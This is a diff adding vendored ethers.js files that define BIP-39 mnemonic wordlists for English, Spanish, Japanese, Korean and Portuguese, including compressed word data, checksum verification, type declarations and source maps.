b/node_modules/ethers/lib.esm/wordlists/lang-en.js @@ -0,0 +1,31 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +const words = "0erleonalorenseinceregesticitStanvetearctssi#ch2Athck&tneLl0And#Il.yLeOutO=S|S%b/ra@SurdU'0Ce[Cid|CountCu'Hie=IdOu,-Qui*Ro[TT]T%T*[Tu$0AptDD-tD*[Ju,M.UltV<)Vi)0Rob-0FairF%dRaid0A(EEntRee0Ead0MRRp%tS!_rmBumCoholErtI&LLeyLowMo,O}PhaReadySoT Ways0A>urAz(gOngOuntU'd0Aly,Ch%Ci|G G!GryIm$K!Noun)Nu$O` Sw T&naTiqueXietyY1ArtOlogyPe?P!Pro=Ril1ChCt-EaEnaGueMMedM%MyOundR<+Re,Ri=RowTTefa@Ti,Tw%k0KPe@S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A!AnA*Att E}HemeHoolI&)I[%sOrp]OutRapRe&RiptRub1AAr^As#AtC#dC*tCt]Cur.yEdEkGm|Le@~M(?Ni%N'Nt&)RiesRvi)Ss]Tt!TupV&_dowAftAllowA*EdEllEriffIeldIftI}IpIv O{OeOotOpOrtOuld O=RimpRugUff!Y0Bl(gCkDeE+GhtGnL|Lk~yLv Mil?Mp!N)NgR&/ Tua>XZe1A>Et^IIllInIrtUll0AbAmEepEnd I)IdeIghtImOgAyEakEelEmEpE*oI{IllIngO{Oma^O}OolOryO=Ra>gyReetRikeR#gRugg!Ud|UffUmb!Y!0Bje@Bm.BwayC)[ChDd&Ff G?G+,ItMm NNnyN'tP PplyP*meReRfa)R+Rpri'RroundR=ySpe@/a(1AllowAmpApArmE?EetIftImIngIt^Ord1MbolMptomRup/em:B!Ck!GIlL|LkNkPeR+tSk/eTtooXi3A^Am~NNGradeHoldOnP Set1BOng::Rd3Ar~ow9UUngU`:3BraRo9NeO"; +const checksum = "0x3c8acc1e7b08d8e76f9fda015ef48dc8c710a73cb7e0f77b2c18a9b5a7adde60"; +let wordlist = null; +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangEn extends WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor() { super("en", words, checksum); } + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangEn(); + } + return wordlist; + } +} +//# sourceMappingURL=lang-en.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-en.js.map b/node_modules/ethers/lib.esm/wordlists/lang-en.js.map new file mode 100644 index 000000000000..6703337bbcdc --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-en.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-en.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-en.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAEhD,MAAM,KAAK,GAAG,u3LAAu3L,CAAC;AACt4L,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAM,OAAO,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts new file mode 100644 index 000000000000..7e51683e7c36 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwlA } from "./wordlist-owla.js"; +/** + * The [[link-bip39-es]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangEs extends WordlistOwlA { + /** + * Creates a new instance of the Spanish language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEs]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangEs``, creating it + * if this is the first time being called. + */ + static wordlist(): LangEs; +} +//# sourceMappingURL=lang-es.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts.map new file mode 100644 index 000000000000..074d92d81446 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-es.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-es.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-es.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAQlD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,YAAY;IAEpC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-es.js b/node_modules/ethers/lib.esm/wordlists/lang-es.js new file mode 100644 index 000000000000..3160c40fe059 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-es.js @@ -0,0 +1,32 @@ +import { WordlistOwlA } from "./wordlist-owla.js"; +const words = "0arertoiotadonoaRteirroenaNonaLsolocoiliaralaorrenadaChoN$n0A>Dom,EjaI!#Oga&O'Or#RazoR*Ue=U<0Ab Adem@CeLe%OmoRa!RozUn0DazD$GeLaM,#S,)T^0AlAnceA+EEl]`E`EstruzI.I<2ErU{U'0Af[nArO)Uc Uf_Ul:BaB^|eH@IleJ Lanz/c.LdeMbuN>Nd-oRb(>RnizR+Scu]S#nSu[Tal]T!@T*Tu%UlZ 3BeBid/=S SoSt@3|oEnNgo2An>OqueUsa2ABi`BoCaCi`DaDegaIn//!oLsaMb-{dNi#N}saiRdeRr SqueTeTinVe{Zal2AvoAzoEchaEveIl=In>IsaOcaOmaOnceO)UjaUs>U#2CeoCleE'EyFan{F.HoIt_L#Rbuj(l(+Sc TacaZ.:Bal=BezaBi`B[CaoDav!D,aErFeI{ImanJaJ.LLam Lc$L&Li{dLleLm/^LvoMaMb$Mel=Mi'Mp}c!Nd?Nel-gu+Nic-#N-.ObaOsPazPi%nPo)Pt Puch((b.RcelRe%Rg(i'RneRpe%R+R%SaS>S!oSpaS#rT^ceT_U{lUsaZo3Bol]D!D+Ld/eb_LoAmpuAnc]ApaAr]I>Is)IvoOqueOzaUle%Up 0Cl.EgoE=EnEr#F[G +M->NeN%P_sR>Rue]SneTaU{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a0B[l0I{dIrIv!; + join(words: Array): string; + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist(): LangJa; +} +//# sourceMappingURL=lang-ja.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ja.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-ja.d.ts.map new file mode 100644 index 000000000000..a1ed95462995 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ja.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ja.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ja.ts"],"names":[],"mappings":"AAKA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAkIzC;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;OAOG;;IAGH,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC,KAAK,CAAC,MAAM,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC;IAKpC,IAAI,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG,MAAM;IAIlC;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ja.js b/node_modules/ethers/lib.esm/wordlists/lang-ja.js new file mode 100644 index 000000000000..7ad4aea3d90f --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ja.js @@ -0,0 +1,154 @@ +import { id } from "../hash/index.js"; +import { hexlify, assertArgument, toUtf8Bytes, toUtf8String } from "../utils/index.js"; +import { Wordlist } from "./wordlist.js"; +const data = [ + // 4-kana words + "AQRASRAGBAGUAIRAHBAghAURAdBAdcAnoAMEAFBAFCBKFBQRBSFBCXBCDBCHBGFBEQBpBBpQBIkBHNBeOBgFBVCBhBBhNBmOBmRBiHB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RDJFEqDSJQSJFSJQIJFSOPeZtSJFZJHCJXQfXCTDEqFGJBSJFGJBOfXGJBcqXGJHNJDGJRLiJEJfXEqEJFEJPEFpBEJYJBZJFYBwXUJYiJMEBYJZJyTYTONJXpQMFXFpeGIDdpJFstXpJFcPDLBVSJRLHQJqXLJFZJFIJBNJDIJBUqXIBkFDJIJEJPTIYJGWRIJeQPDIJeEfHIJFsJXOqGDSFHXEJqXgJCsJCgGQJqXgdQYJEgFMFNBgJFcqDVJwXUJVJFZJchIgJCCxOEJqXxOwXUJyDJBVRuscisciJBiJBieUtqXiJFDJkiFsJXQUGEZJcUJFsJXZtXIrXZDZJDrZJFNJDZJFstXvJFQqXvJFCJEsJXQJqkhkNGBbDJdTRbYJMEBlDwXUJMEFiJFcfXNJDRcNJWMTBLJXC", + // 8-kana words + "BraFUtHBFSJFdbNBLJXVJQoYJNEBSJBEJfHSJHwXUJCJdAZJMGjaFVJXEJPNJBlEJfFiJFpFbFEJqIJBVJCrIBdHiJhOPFChvJVJZJNJWxGFNIFLueIBQJqUHEJfUFstOZJDrlXEASJRlXVJXSFwVJNJWD", + // 9-kana words + "QJEJNNJDQJEJIBSFQJEJxegBQJEJfHEPSJBmXEJFSJCDEJqXLXNJFQqXIcQsFNJFIFEJqXUJgFsJXIJBUJEJfHNFvJxEqXNJnXUJFQqD", + // 10-kana words + "IJBEJqXZJ" +]; +// Maps each character into its kana value (the index) +const mapping = "~~AzB~X~a~KN~Q~D~S~C~G~E~Y~p~L~I~O~eH~g~V~hxyumi~~U~~Z~~v~~s~~dkoblPjfnqwMcRTr~W~~~F~~~~~Jt"; +let _wordlist = null; +function hex(word) { + return hexlify(toUtf8Bytes(word)); +} +const KiYoKu = "0xe3818de38284e3818f"; +const KyoKu = "0xe3818de38283e3818f"; +function toString(data) { + return toUtf8String(new Uint8Array(data)); +} +function loadWords() { + if (_wordlist !== null) { + return _wordlist; + } + const wordlist = []; + // Transforms for normalizing (sort is a not quite UTF-8) + const transform = {}; + // Delete the diacritic marks + transform[toString([227, 130, 154])] = false; + transform[toString([227, 130, 153])] = false; + // Some simple transforms that sort out most of the order + transform[toString([227, 130, 133])] = toString([227, 130, 134]); + transform[toString([227, 129, 163])] = toString([227, 129, 164]); + transform[toString([227, 130, 131])] = toString([227, 130, 132]); + transform[toString([227, 130, 135])] = toString([227, 130, 136]); + // Normalize words using the transform + function normalize(word) { + let result = ""; + for (let i = 0; i < word.length; i++) { + let kana = word[i]; + const target = transform[kana]; + if (target === false) { + continue; + } + if (target) { + kana = target; + } + result += kana; + } + return result; + } + // Sort how the Japanese list is sorted + function sortJapanese(a, b) { + a = normalize(a); + b = normalize(b); + if (a < b) { + return -1; + } + if (a > b) { + return 1; + } + return 0; + } + // Load all the words + for (let length = 3; length <= 9; length++) { + const d = data[length - 3]; + for (let offset = 0; offset < d.length; offset += length) { + const word = []; + for (let i = 0; i < length; i++) { + const k = mapping.indexOf(d[offset + i]); + word.push(227); + word.push((k & 0x40) ? 130 : 129); + word.push((k & 0x3f) + 128); + } + wordlist.push(toString(word)); + } + } + wordlist.sort(sortJapanese); + // For some reason kyoku and kiyoku are flipped in node (!!). + // The order SHOULD be: + // - kyoku + // - kiyoku + // This should ignore "if", but that doesn't work here?? + /* c8 ignore start */ + if (hex(wordlist[442]) === KiYoKu && hex(wordlist[443]) === KyoKu) { + const tmp = wordlist[442]; + wordlist[442] = wordlist[443]; + wordlist[443] = tmp; + } + /* c8 ignore stop */ + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xcb36b09e6baa935787fd762ce65e80b0c6a8dabdfbc3a7f86ac0e2c4fd111600") { + throw new Error("BIP39 Wordlist for ja (Japanese) FAILED"); + } + /* c8 ignore stop */ + _wordlist = wordlist; + return wordlist; +} +let wordlist = null; +/** + * The [[link-bip39-ja]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangJa extends Wordlist { + /** + * Creates a new instance of the Japanese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langJa]] should suffice. + * + * @_ignore: + */ + constructor() { super("ja"); } + getWord(index) { + const words = loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords().indexOf(word); + } + split(phrase) { + //logger.assertNormalize(); + return phrase.split(/(?:\u3000| )+/g); + } + join(words) { + return words.join("\u3000"); + } + /** + * Returns a singleton instance of a ``LangJa``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangJa(); + } + return wordlist; + } +} +//# sourceMappingURL=lang-ja.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ja.js.map b/node_modules/ethers/lib.esm/wordlists/lang-ja.js.map new file mode 100644 index 000000000000..f72046b73103 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ja.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ja.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ja.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,EAAE,EAAE,MAAM,kBAAkB,CAAC;AACtC,OAAO,EACH,OAAO,EAAE,cAAc,EAAE,WAAW,EAAE,YAAY,EACrD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAGzC,MAAM,IAAI,GAAG;IAET,eAAe;IACf,orEAAorE;IAEprE,eAAe;IACf,ssGAAssG;IAEtsG,eAAe;IACf,4uDAA4uD;IAE5uD,eAAe;IACf,olBAAolB;IAEplB,eAAe;IACf,4JAA4J;IAE5J,eAAe;IACf,0GAA0G;IAE1G,gBAAgB;IAChB,WAAW;CACd,CAAC;AAEF,sDAAsD;AACtD,MAAM,OAAO,GAAG,6FAA6F,CAAA;AAE7G,IAAI,SAAS,GAAyB,IAAI,CAAC;AAE3C,SAAS,GAAG,CAAC,IAAY;IACrB,OAAO,OAAO,CAAC,WAAW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AC;AAED,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAM,OAAO,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IAE9B,OAAO,CAAC,KAAa;QACjB,MAAM,KAAK,GAAG,SAAS,EAAE,CAAC;QAC1B,cAAc,CAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,KAAK,CAAC,MAAM,EAC7C,uBAAwB,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACtD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,SAAS,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IACrC,CAAC;IAED,KAAK,CAAC,MAAc;QAChB,2BAA2B;QAC3B,OAAO,MAAM,CAAC,KAAK,CAAC,gBAAgB,CAAC,CAAC;IAC1C,CAAC;IAED,IAAI,CAAC,KAAoB;QACrB,OAAO,KAAK,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;IAChC,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts new file mode 100644 index 000000000000..4329e0556d3a --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts @@ -0,0 +1,25 @@ +import { Wordlist } from "./wordlist.js"; +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangKo extends Wordlist { + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor(); + getWord(index: number): string; + getWordIndex(word: string): number; + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist(): LangKo; +} +//# sourceMappingURL=lang-ko.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts.map new file mode 100644 index 000000000000..71fbbcdf0c35 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ko.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ko.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ko.ts"],"names":[],"mappings":"AAGA,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AA8DzC;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,QAAQ;IAEhC;;;;;;;OAOG;;IAKH,OAAO,CAAC,KAAK,EAAE,MAAM,GAAG,MAAM;IAO9B,YAAY,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM;IAIlC;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ko.js b/node_modules/ethers/lib.esm/wordlists/lang-ko.js new file mode 100644 index 000000000000..d575f87463e0 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ko.js @@ -0,0 +1,89 @@ +import { id } from "../hash/index.js"; +import { assertArgument, toUtf8String } from "../utils/index.js"; +import { Wordlist } from "./wordlist.js"; +const data = [ + "OYAa", + "ATAZoATBl3ATCTrATCl8ATDloATGg3ATHT8ATJT8ATJl3ATLlvATLn4ATMT8ATMX8ATMboATMgoAToLbAToMTATrHgATvHnAT3AnAT3JbAT3MTAT8DbAT8JTAT8LmAT8MYAT8MbAT#LnAUHT8AUHZvAUJXrAUJX8AULnrAXJnvAXLUoAXLgvAXMn6AXRg3AXrMb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grJXLTJlRTvQlLbRnJlQYvLbrMb8LnvLbvFn3RnoLdCVSTGZrLeSTvGXCnLg3MnoLn3MToLlrETvMT8SToAl3MbrDU6GTvMb8LX4LhrPlrLXGXCnSToLf8Rg3STrDb8LTrSTvLTHXMnSb3RYLnMnSgOg6ATFg", + "HUDlGnrQXrJTrHgLnrAcJYMb8DULc8LTvFgGnCk3Mg8JbAnLX4QYvFYHnMXrRUoJnGnvFnRlvFTJlQnoSTrBXHXrLYSUJgLfoMT8Se8DTrHbDb", + "AbDl8SToJU8An3RbAb8ST8DUSTrGnrAgoLbFU6Db8LTrMg8AaHT8Jb8ObDl8SToJU8Pb3RlvFYoJl" +]; +const codes = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*"; +function getHangul(code) { + if (code >= 40) { + code = code + 168 - 40; + } + else if (code >= 19) { + code = code + 97 - 19; + } + return toUtf8String(new Uint8Array([225, (code >> 6) + 132, (code & 0x3f) + 128])); +} +let _wordlist = null; +function loadWords() { + if (_wordlist != null) { + return _wordlist; + } + const wordlist = []; + data.forEach((data, length) => { + length += 4; + for (let i = 0; i < data.length; i += length) { + let word = ""; + for (let j = 0; j < length; j++) { + word += getHangul(codes.indexOf(data[i + j])); + } + wordlist.push(word); + } + }); + wordlist.sort(); + // Verify the computed list matches the official list + /* istanbul ignore if */ + const checksum = id(wordlist.join("\n") + "\n"); + /* c8 ignore start */ + if (checksum !== "0xf9eddeace9c5d3da9c93cf7d3cd38f6a13ed3affb933259ae865714e8a3ae71a") { + throw new Error("BIP39 Wordlist for ko (Korean) FAILED"); + } + /* c8 ignore stop */ + _wordlist = wordlist; + return wordlist; +} +let wordlist = null; +/** + * The [[link-bip39-ko]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangKo extends Wordlist { + /** + * Creates a new instance of the Korean language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langKo]] should suffice. + * + * @_ignore: + */ + constructor() { + super("ko"); + } + getWord(index) { + const words = loadWords(); + assertArgument(index >= 0 && index < words.length, `invalid word index: ${index}`, "index", index); + return words[index]; + } + getWordIndex(word) { + return loadWords().indexOf(word); + } + /** + * Returns a singleton instance of a ``LangKo``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangKo(); + } + return wordlist; + } +} +//# sourceMappingURL=lang-ko.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-ko.js.map b/node_modules/ethers/lib.esm/wordlists/lang-ko.js.map new file mode 100644 index 000000000000..bee4337b8e14 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-ko.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-ko.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-ko.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,EAAE,EAAE,MAAM,kBAAkB,CAAC;AACtC,OAAO,EAAE,cAAc,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AAEjE,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAGzC,MAAM,IAAI,GAAG;IACT,MAAM;IACN,y5JAAy5J;IACz5J,8lIAA8lI;IAC9lI,i8BAAi8B;IACj8B,koCAAkoC;IACloC,yaAAya;IACza,gHAAgH;IAChH,+EAA+E;CAClF,CAAA;AAED,MAAM,KAAK,GAAG,wEAAwE,CAAA;AAEtF,SAAS,SAAS,CAAC,IAAY;IAC3B,IAAI,IAAI,IAAI,EAAE,EAAE;QACZ,IAAI,GAAG,IAAI,GAAG,GAAG,GAAG,EAAE,CAAC;KAC1B;SAAM,IAAI,IAAI,IAAI,EAAE,EAAE;QACnB,IAAI,GAAG,IAAI,GAAG,EAAE,GAAG,EAAE,CAAC;KACzB;IAED,OAAO,YAAY,CAAC,IAAI,UAAU,CAAC,CAAE,GAAG,EAAE,CAAC,IAAI,IAAI,CAAC,CAAC,GAAG,GAAG,EAAE,CAAC,IAAI,GAAG,IAAI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AAC,CAAC;IAChB,CAAC;IAED,OAAO,CAAC,KAAa;QACjB,MAAM,KAAK,GAAG,SAAS,EAAE,CAAC;QAC1B,cAAc,CAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,KAAK,CAAC,MAAM,EAC7C,uBAAwB,KAAM,EAAE,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;QACtD,OAAO,KAAK,CAAC,KAAK,CAAC,CAAC;IACxB,CAAC;IAED,YAAY,CAAC,IAAY;QACrB,OAAO,SAAS,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC;IACrC,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts new file mode 100644 index 000000000000..f218013c60fe --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangPt extends WordlistOwl { + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist(): LangPt; +} +//# sourceMappingURL=lang-pt.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts.map new file mode 100644 index 000000000000..68f390d5c292 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-pt.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-pt.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-pt.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-pt.js b/node_modules/ethers/lib.esm/wordlists/lang-pt.js new file mode 100644 index 000000000000..a76cc59575e6 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-pt.js @@ -0,0 +1,31 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +const words = "0arad!ototealirertainrasoent hoandoaR#riareha!aroele'oronul0Aca%AixoAl A%rDuz'El]Er$IsmoO$ Rum S-&T(i&TigoVo[=0F&.Il#P' S?S* So&/Sun$Tr&0Ac#Adu+Al/A[f E End(Er_EuIng'Ir?IvoOl{oRac Revi=RizU&Um0Di$rM-.R>o+TismoT|@Tu 0Ali An%Ar@Ent&Es,I?Is Ul,1Ila1Ar E=Ei%Ulejo:B BosaC&]uCh `C@GagemI+c>~/Se#S)n%Ta)Te=rTidaTomTuc Unil]3B(IjoIr^IsebolLd!eLezaLgaLisc Ndi$Ng&aNz(RimbauRl*d>_Sou_XigaZ(_3CoCu=En&Foc&Furc G|naLhe%Mest[Mo$rOlog@OmboOsf(aPol Rr-$Scoi$Sne$SpoSsex$TolaZ _2Ind#OcoOque 2A$BagemC#CejoChec]Ico.L^LetimL]LoMb{oNdeNecoNi)Rb~h>d>e&R+c]V*oXe?2AncoAsaAvezaEuIgaIl/Inc OaOchu+Onze O$Uxo2C]DismoF LeRacoScaS$Z*a:Bimb Rn{oRpe%R['>)zRv&/SacoScaSeb[S%loS~oT a)Tiv UleUs?U%l V&oV(na3BolaDil]G}]Lebr L~ Nou+N,N%ioRc Rr#R%'oR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D+G^I$r&IxeLeLicplexoRsi<>%nceRucaSc#SquisaS,aTisc 3AdaC#Ed!eGm-$Last+Lh#Lo.M-)Nc`NguimN]No%N.On{oPocaQue%ResRue)Sc S$laTg-$Rje)Tur Ud!eXof}eZ}&3C C~ DaD-$Di#Do,Du$rGm-$G[=Gun=IvaLe$LvagemM<&M-%N?N/rNsu&Nt#P #Rei>*g>+RvoTemb_T|3GiloLhue)Lic}eMetr@Mpat@M~ N&Nc(oNg~ NopseN$ni>-eRiTu#5B(fis)Rp[s>[&Rt'Sp'oS%n$:B`aBle%Bu^C/G `aLh(LoLvezMdioRef>j>+xaTuagemUr*oXativoXis)3Atr&C(Ci=Cl#Dio,IaIm Lef}eLh#Mp(oN-%N,rN.Rm&RnoRr-oSeSou+St#ToXtu+Xugo3A+G`aJoloMbr MidezNgi=N%'oRagemT~ 5Al]C]L( LiceM^Mil/N`Ntu+Pe%R>ci=RneioRqueRr!>$S.UcaUp{aX*a2Ab&/Acej Adu$rAfeg Aje$AmaAnc ApoAs{oAt?Av E*oEm(Epid EvoIagemIboIcicloId-%Ilog@Ind!eIploItur Iunf&Oc Ombe)OvaUnfoUque2B~ CquesaT` T|i&:7V 3Bigo0HaId!eIf|me3Olog@SoTigaUbu0A=InaUfru':C*aDi G o,I=,LaL-%Lid!eLo[sN)gemQu{oRe)Rr(Sc~ Sil]S,u+Z Zio3A=D Ge.Ic~ L{oLhiceLu=Nce=rNdav&N( Nt[Rb&Rd!eRe?Rg}h>m`/RnizRs R%n%SpaSti=T|i&3Adu$AgemAj Atu+Br?D{aDr @ElaGaG-%Gi G| L ejoNcoNhe)NilOle)R!>tudeSi.S$Tr&V{oZ*/5A=rArG&L<%LeibolL)gemLumo,Nt!e5L$Vuz`a::D[zRope3QueRe.Rife3Ng ::Ng#Rp 3BuL?9Mb Olog@5Mbi="; +const checksum = "0x2219000926df7b50d8aa0a3d495826b988287df4657fbd100e6fe596c8f737ac"; +let wordlist = null; +/** + * The [[link-bip39-pt]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangPt extends WordlistOwl { + /** + * Creates a new instance of the Portuguese language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langPt]] should suffice. + * + * @_ignore: + */ + constructor() { super("pt", words, checksum); } + /** + * Returns a singleton instance of a ``LangPt``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangPt(); + } + return wordlist; + } +} +//# 